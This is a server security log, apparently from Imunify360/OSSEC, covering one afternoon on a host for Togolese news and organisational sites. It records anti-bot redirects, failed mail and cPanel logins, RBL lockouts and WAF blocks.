185.36.191.21 - - [10/Jun/2026:14:41:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9737882&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781102507 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.86.117
country_id: 1512440
description:
2026-06-10 14:42:25 H=([84.54.71.63]) [213.230.86.117]:5086 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.104.190.144
country_id: 1562822
description:
2026-06-10 14:42:24 dovecot_plain authenticator failed for H=(74nsv9afowvdakjyand5fxj) [116.104.190.144]:51591: 535 Incorrect authentication data (set_id=ag@togointerim.net)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.2
country_id: 1880251
description:
47.128.96.2 - - [10/Jun/2026:14:49:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054503&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fjoanna-agudetse%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781102957 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/joanna-agudetse/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.2


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.149
country_id: 1880251
description:
47.128.96.149 - - [10/Jun/2026:14:50:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7498186&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fclimat-des-affaires%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781103035 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/climat-des-affaires/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.149


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.162
country_id: 1880251
description:
47.128.96.162 - - [10/Jun/2026:14:50:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6842782&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcargaison-de-produits-congeles-de-contrebande%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781103002 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cargaison-de-produits-congeles-de-contrebande/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.162


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-10 14:50:51 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:38384: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-10 14:51:49 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:55300: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-10 14:51:55 +0000] info [cpaneld] 185.213.83.243 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.189
country_id: 1880251
description:
47.128.96.189 - - [10/Jun/2026:14:51:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7378119&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fministere-de-leducation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781103115 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ministere-de-leducation/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.189


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.183
country_id: 1880251
description:
47.128.96.183 - - [10/Jun/2026:14:52:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6515398&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvente-illiciteme-de-poches-de-sang-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781103128 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/vente-illiciteme-de-poches-de-sang-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.183


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.153
country_id: 1880251
description:
47.128.96.153 - - [10/Jun/2026:14:53:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9726154&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcrash-dun-avion-en-chine-avec-132-passagers-a-bord%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781103194 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/crash-dun-avion-en-chine-avec-132-passagers-a-bord/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.153


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 159.26.121.44
country_id: 390903
description:
[2026-06-10 14:53:09 +0000] info [cpaneld] 159.26.121.44 - TECH3396082237 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user TECH3396082237 (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.184
country_id: 1880251
description:
47.128.96.184 - - [10/Jun/2026:14:54:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672288&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmagloire-agbegnido%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781103252 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/magloire-agbegnido/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.184


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 10 14:55:11 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.125
country_id: 1880251
description:
47.128.96.125 - - [10/Jun/2026:14:55:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7052135&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdemission-dun-maire-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781103338 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/demission-dun-maire-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.125


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.203
country_id: 1880251
description:
47.128.96.203 - - [10/Jun/2026:14:56:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672801&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmagloire-agbegnido%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781103365 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/magloire-agbegnido/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.203


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-10 14:56:00 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:36236: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.156
country_id: 1880251
description:
47.128.96.156 - - [10/Jun/2026:14:57:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856666&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmode-et-protection-de-lenvironnement%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781103457 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/mode-et-protection-de-lenvironnement/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.156


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.41.242.254
country_id: 6252001
description:
[2026-06-10 15:00:09 +0000] info [whostmgrd] 82.41.242.254 - AMEDEKA "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.222.60.227
country_id: 99237
description:
[2026-06-10 15:01:10 +0000] info [cpaneld] 176.222.60.227 - nstreamprocom "GET /login/?login_only=1&user=nstreamprocom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstreamprocom (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.121
country_id: 1880251
description:
47.128.96.121 - - [10/Jun/2026:15:00:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12884847&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmedecin-dune-clinique-privee-poursuivi-pour-avoir-viole-une-femme-mariee%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781103634 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/medecin-dune-clinique-privee-poursuivi-pour-avoir-viole-une-femme-mariee/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.121


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 101.185.234.54
country_id: 2077456
description:
[2026-06-10 15:01:08 +0000] info [cpaneld] 101.185.234.54 - nstreampro "GET /login/?login_only=1&user=nstreampro&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstreampro (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 81.99.25.218
country_id: 2635167
description:
[2026-06-10 15:01:02 +0000] info [cpaneld] 81.99.25.218 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.51.239.36
country_id: 3865483
description:
[2026-06-10 15:01:50 +0000] info [cpaneld] 179.51.239.36 - ns "GET /login/?login_only=1&user=ns&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ns (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.85.184.226
country_id: 2395170
description:
2026-06-10 15:02:01 dovecot_login authenticator failed for H=(ARSE) [41.85.184.226]:52760: 535 Incorrect authentication data (set_id=marc.kouakani@arse.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.66.130.130
country_id: 2395170
description:
2026-06-10 15:02:13 dovecot_login authenticator failed for H=(ARSE) [154.66.130.130]:52017: 535 Incorrect authentication data


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.189.96.137
country_id: 3895114
description:
[2026-06-10 15:01:36 +0000] info [cpaneld] 186.189.96.137 - nstr "GET /login/?login_only=1&user=nstr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstr (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.127
country_id: 1880251
description:
47.128.96.127 - - [10/Jun/2026:15:01:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7038577&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fministere-de-leducation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781103699 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ministere-de-leducation/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.127


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.51.92.32
country_id: 1282988
description:
[2026-06-10 15:01:56 +0000] info [cpaneld] 202.51.92.32 - nstream1 "GET /login/?login_only=1&user=nstream1&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstream1 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.228.178.41
country_id: 3865483
description:
[2026-06-10 15:02:02 +0000] info [cpaneld] 181.228.178.41 - nstream2 "GET /login/?login_only=1&user=nstream2&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstream2 (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.209
country_id: 1880251
description:
47.128.96.209 - - [10/Jun/2026:15:03:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13145710&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcndh-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781103804 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cndh-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.209


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-10 15:03:27 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:45554: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.70.6
country_id: 6252001
description:
[2026-06-10 15:02:43 +0000] info [whostmgrd] 217.181.70.6 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 169.40.6.114
country_id: 458258
description:
Jun 10 15:03:52 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 169.40.6.114 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.40.6.114
country_id: 458258
description:
2026-06-10 15:03:54 dovecot_plain authenticator failed for H=(eh77hokxnmlbqe8ks6mztb0ii) [169.40.6.114]:42665: 535 Incorrect authentication data (set_id=netflix@emt.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.127
country_id: 1880251
description:
47.128.96.127 - - [10/Jun/2026:15:04:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7313520&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fweek-end-prolonge-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781103891 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/week-end-prolonge-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.127


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.153
country_id: 1880251
description:
47.128.96.153 - - [10/Jun/2026:15:04:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13027267&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcndh-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781103884 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cndh-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.153


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.167
country_id: 1880251
description:
47.128.96.167 - - [10/Jun/2026:15:05:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6709908&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fambassade-de-la-republique-federale-dallemagne-a-lome-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781103922 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ambassade-de-la-republique-federale-dallemagne-a-lome-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.167


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 132.145.149.200
country_id: 6252001
description:
[2026-06-10 15:05:38 +0000] info [cpaneld] 132.145.149.200 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 159.26.121.44
country_id: 390903
description:
[2026-06-10 15:07:09 +0000] info [cpaneld] 159.26.121.44 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.178
country_id: 1880251
description:
47.128.96.178 - - [10/Jun/2026:15:07:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6318440&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fperdiem-de-reportage%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781104055 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/perdiem-de-reportage/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.178


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.123
country_id: 1880251
description:
47.128.96.123 - - [10/Jun/2026:15:07:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12884587&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fministere-des-enseignements-primaire%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781104076 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ministere-des-enseignements-primaire/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.123


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-10 15:09:20 +0000] info [webmaild] 102.176.253.226 - secre.gene@ucao-uut.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-10 15:09:47 +0000] info [webmaild] 102.176.253.226 - secre.gene@ucao-uut.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.166
country_id: 1880251
description:
47.128.96.166 - - [10/Jun/2026:15:09:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9685093&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmain-robot%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781104181 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/main-robot/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.166


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.120
country_id: 1880251
description:
47.128.96.120 - - [10/Jun/2026:15:11:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6408863&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcrash-dun-avion-en-chine-avec-132-passagers-a-bord%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781104294 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/crash-dun-avion-en-chine-avec-132-passagers-a-bord/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.120


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.20
country_id: 1880251
description:
47.128.96.20 - - [10/Jun/2026:15:11:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12751978&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fministere-des-enseignements-primaire%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781104274 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ministere-des-enseignements-primaire/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.20


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 38.250.152.36
country_id: 3932488
description:
38.250.152.36 - - [10/Jun/2026:15:11:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9661591&pdata=https%253A%252F%252Ftogodailynews.tg%252Fdeuxieme-edition-de-tabligbo-fashion-night-les-activites-officiellement-lancees%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781104296 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/deuxieme-edition-de-tabligbo-fashion-night-les-activites-officiellement-lancees/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.7649.1284 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:38.250.152.36


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 89.199.247.242
country_id: 130758
domain: www.togofeed.com
description:
IM360 WAF: Request body parsing error||err_msg:XML parsing error: XML: Failed to parse document.||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 136.158.33.145
country_id: 1694008
description:
136.158.33.145 - - [10/Jun/2026:15:13:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9790103&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcervida-dounedon%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781104435 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cervida-dounedon/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.6753.1126 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:136.158.33.145


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.124
country_id: 1880251
description:
47.128.96.124 - - [10/Jun/2026:15:13:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066375&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcouple-avec-5-enfants%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781104418 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/couple-avec-5-enfants/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.124


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.199.119.136
country_id: 6252001
description:
Jun 10 15:14:43 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.199.119.136 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.188
country_id: 1880251
description:
47.128.96.188 - - [10/Jun/2026:15:15:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131049&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fprestation-de-serment-dalassane-ouattara%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781104544 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/prestation-de-serment-dalassane-ouattara/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.188


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.233.163.255
country_id: 3469034
description:
Jun 10 15:16:23 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.233.163.255 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.233.163.255
country_id: 3469034
description:
Jun 10 15:16:38 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.233.163.255 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.198.42.71
country_id: 241170
description:
Jun 10 15:16:59 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.198.42.71 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.137.212.23
country_id: 2750405
domain: lct-togo.tg
description:
